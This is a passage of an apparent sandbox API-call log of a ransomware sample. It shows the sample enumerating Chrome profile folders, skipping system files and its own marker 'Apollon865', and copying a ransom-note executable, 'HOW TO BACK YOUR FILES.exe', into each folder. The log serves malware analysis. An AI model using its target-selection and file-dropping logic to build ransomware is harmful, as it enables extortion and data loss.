	[0046.580] lstrcmpiW (lpString1="nal", lpString2="dbx") returned 1
	[0046.580] lstrlenW (lpString="dcb") returned 3
	[0046.580] lstrcmpiW (lpString1="nal", lpString2="dcb") returned 1
	[0046.580] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="Safe Browsing Cookies" | out: lpString1="Safe Browsing Cookies") returned="Safe Browsing Cookies"
	[0046.580] lstrlenW (lpString="Safe Browsing Cookies") returned 21
	[0046.580] lstrlenW (lpString="Apollon865") returned 10
	[0046.580] lstrcmpiW (lpString1="ng Cookies", lpString2="Apollon865") returned 1
	[0046.580] lstrlenW (lpString=".dll") returned 4
	[0046.580] lstrcmpiW (lpString1="Safe Browsing Cookies", lpString2=".dll") returned 1
	[0046.580] lstrlenW (lpString=".lnk") returned 4
	[0046.580] lstrcmpiW (lpString1="Safe Browsing Cookies", lpString2=".lnk") returned 1
	[0046.580] lstrlenW (lpString=".ini") returned 4
	[0046.580] lstrcmpiW (lpString1="Safe Browsing Cookies", lpString2=".ini") returned 1
	[0046.580] lstrlenW (lpString=".sys") returned 4
	[0046.580] lstrcmpiW (lpString1="Safe Browsing Cookies", lpString2=".sys") returned 1
	[0046.580] lstrlenW (lpString="Safe Browsing Cookies") returned 21
	[0046.580] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="Safe Browsing Cookies-journal" | out: lpString1="Safe Browsing Cookies-journal") returned="Safe Browsing Cookies-journal"
	[0046.580] lstrlenW (lpString="Safe Browsing Cookies-journal") returned 29
	[0046.580] lstrlenW (lpString="Apollon865") returned 10
	[0046.580] lstrcmpiW (lpString1="es-journal", lpString2="Apollon865") returned 1
	[0046.580] lstrlenW (lpString=".dll") returned 4
	[0046.580] lstrcmpiW (lpString1="Safe Browsing Cookies-journal", lpString2=".dll") returned 1
	[0046.580] lstrlenW (lpString=".lnk") returned 4
	[0046.580] lstrcmpiW (lpString1="Safe Browsing Cookies-journal", lpString2=".lnk") returned 1
	[0046.580] lstrlenW (lpString=".ini") returned 4
	[0046.580] lstrcmpiW (lpString1="Safe Browsing Cookies-journal", lpString2=".ini") returned 1
	[0046.580] lstrlenW (lpString=".sys") returned 4
	[0046.580] lstrcmpiW (lpString1="Safe Browsing Cookies-journal", lpString2=".sys") returned 1
	[0046.580] lstrlenW (lpString="Safe Browsing Cookies-journal") returned 29
	[0046.581] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="SSLErrorAssistant" | out: lpString1="SSLErrorAssistant") returned="SSLErrorAssistant"
	[0046.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0046.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xac) returned 0x5aa510
	[0046.581] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7b10
	[0046.581] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1
	[0046.581] lstrcmpiW (lpString1="SwReporter", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.581] lstrcmpiW (lpString1="SwReporter", lpString2="Apollon865.txt.exe") returned 1
	[0046.581] lstrcmpiW (lpString1="SwReporter", lpString2=".") returned 1
	[0046.581] lstrcmpiW (lpString1="SwReporter", lpString2="..") returned 1
	[0046.581] lstrcmpiW (lpString1="SwReporter", lpString2="windows") returned -1
	[0046.581] lstrcmpiW (lpString1="SwReporter", lpString2="bootmgr") returned 1
	[0046.581] lstrcmpiW (lpString1="SwReporter", lpString2="temp") returned -1
	[0046.581] lstrcmpiW (lpString1="SwReporter", lpString2="pagefile.sys") returned 1
	[0046.581] lstrcmpiW (lpString1="SwReporter", lpString2="boot") returned 1
	[0046.581] lstrcmpiW (lpString1="SwReporter", lpString2="ids.txt") returned 1
	[0046.581] lstrcmpiW (lpString1="SwReporter", lpString2="ntuser.dat") returned 1
	[0046.581] lstrcmpiW (lpString1="SwReporter", lpString2="perflogs") returned 1
	[0046.581] lstrcmpiW (lpString1="SwReporter", lpString2="MSBuild") returned 1
	[0046.581] lstrlenW (lpString="SwReporter") returned 10
	[0046.581] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned 85
	[0046.581] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="SwReporter" | out: lpString1="SwReporter") returned="SwReporter"
	[0046.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0046.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9e) returned 0x599f60
	[0046.581] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7c10
	[0046.581] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1
	[0046.581] lstrcmpiW (lpString1="WidevineCdm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.581] lstrcmpiW (lpString1="WidevineCdm", lpString2="Apollon865.txt.exe") returned 1
	[0046.581] lstrcmpiW (lpString1="WidevineCdm", lpString2=".") returned 1
	[0046.581] lstrcmpiW (lpString1="WidevineCdm", lpString2="..") returned 1
	[0046.582] lstrcmpiW (lpString1="WidevineCdm", lpString2="windows") returned -1
	[0046.582] lstrcmpiW (lpString1="WidevineCdm", lpString2="bootmgr") returned 1
	[0046.582] lstrcmpiW (lpString1="WidevineCdm", lpString2="temp") returned 1
	[0046.582] lstrcmpiW (lpString1="WidevineCdm", lpString2="pagefile.sys") returned 1
	[0046.582] lstrcmpiW (lpString1="WidevineCdm", lpString2="boot") returned 1
	[0046.582] lstrcmpiW (lpString1="WidevineCdm", lpString2="ids.txt") returned 1
	[0046.582] lstrcmpiW (lpString1="WidevineCdm", lpString2="ntuser.dat") returned 1
	[0046.582] lstrcmpiW (lpString1="WidevineCdm", lpString2="perflogs") returned 1
	[0046.582] lstrcmpiW (lpString1="WidevineCdm", lpString2="MSBuild") returned 1
	[0046.582] lstrlenW (lpString="WidevineCdm") returned 11
	[0046.582] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned 78
	[0046.582] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="WidevineCdm" | out: lpString1="WidevineCdm") returned="WidevineCdm"
	[0046.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0046.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x59a008
	[0046.582] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7b30
	[0046.582] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0
	[0046.582] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.582] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c90
	[0046.582] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm"
	[0046.582] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a008 | out: hHeap=0x580000) returned 1
	[0046.582] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0046.582] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned 79
	[0046.582] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm"
	[0046.582] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.583] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\widevinecdm\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.588] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.588] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33d7bdb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33d7bdb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.588] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.588] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.588] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.588] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33d7bdb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33d7bdb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.588] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.588] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.588] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.588] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.588] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33d7bdb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33d7bdb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.588] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.588] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33d7bdb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33d7bdb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.588] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.589] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b30
	[0046.589] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter"
	[0046.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0046.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0046.589] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned 78
	[0046.589] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter"
	[0046.589] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.589] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\swreporter\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.594] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.594] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33d7bdb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33d7bdb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.594] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.594] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.594] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.594] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33d7bdb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33d7bdb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.594] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.594] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.594] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.594] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.594] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33d7bdb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33d7bdb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.595] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.595] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33d7bdb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33d7bdb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.595] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.595] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c10
	[0046.595] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant"
	[0046.595] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa510 | out: hHeap=0x580000) returned 1
	[0046.595] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0046.595] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned 85
	[0046.595] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant"
	[0046.595] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.595] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\sslerrorassistant\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.599] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.599] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33d7bdb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33d7bdb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.599] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.599] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.599] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.599] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33d7bdb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33d7bdb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.599] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.599] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.599] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.599] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.599] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33d7bdb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33d7bdb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.599] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.599] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33d7bdb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33d7bdb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.599] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.599] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0046.599] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl"
	[0046.599] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa470 | out: hHeap=0x580000) returned 1
	[0046.599] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0046.599] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned 73
	[0046.599] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl"
	[0046.599] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.599] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\pnacl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.603] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.603] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33da1f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33da1f10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.604] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.604] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.604] lstrcmpiW (lpString1=".", lpString2=".") returned 0
